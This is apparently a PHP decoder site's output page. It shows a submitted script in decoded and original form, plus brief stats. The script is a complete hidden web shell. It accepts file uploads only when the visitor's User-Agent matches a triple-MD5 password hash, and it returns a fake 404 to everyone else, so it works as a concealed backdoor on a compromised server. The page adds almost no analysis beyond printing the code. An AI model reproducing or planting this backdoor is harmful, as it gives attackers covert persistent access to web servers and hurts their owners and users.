Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php if(md5(md5(md5(getenv('HTTP_USER_AGENT')))) == "5321d4489aa80241731bf739ad4c0058"){..

Decoded Output download

<?php 
if(md5(md5(md5(getenv('HTTP_USER_AGENT')))) == "5321d4489aa80241731bf739ad4c0058"){ 
 
	if(!empty($_FILES["myFile"])){ 
		move_uploaded_file($_FILES["myFile"]["tmp_name"],$_FILES["myFile"]["name"]); 
	} 
	?> 
	<form enctype="multipart/form-data" action="" method="POST">  
	<input name="myFile" type="file">  
	<input type="submit" value="">  
	</form>  
<?php 
die; 
}else{ 
	header('HTTP/1.1 404 Not Found'); 
	header("status: 404 Not Found"); 
	die(); 
} ?>

Did this file decode correctly?

Original Code

<?php
if(md5(md5(md5(getenv('HTTP_USER_AGENT')))) == "5321d4489aa80241731bf739ad4c0058"){

	if(!empty($_FILES["myFile"])){
		move_uploaded_file($_FILES["myFile"]["tmp_name"],$_FILES["myFile"]["name"]);
	}
	?>
	<form enctype="multipart/form-data" action="" method="POST"> 
	<input name="myFile" type="file"> 
	<input type="submit" value=""> 
	</form> 
<?php
die;
}else{
	header('HTTP/1.1 404 Not Found');
	header("status: 404 Not Found");
	die();
}

Function Calls

getenv 1

Variables

None

Stats

MD5 ca39a067d781bf80a5f3f2bcfbc7771d
Eval Count 0
Decode Time 86 ms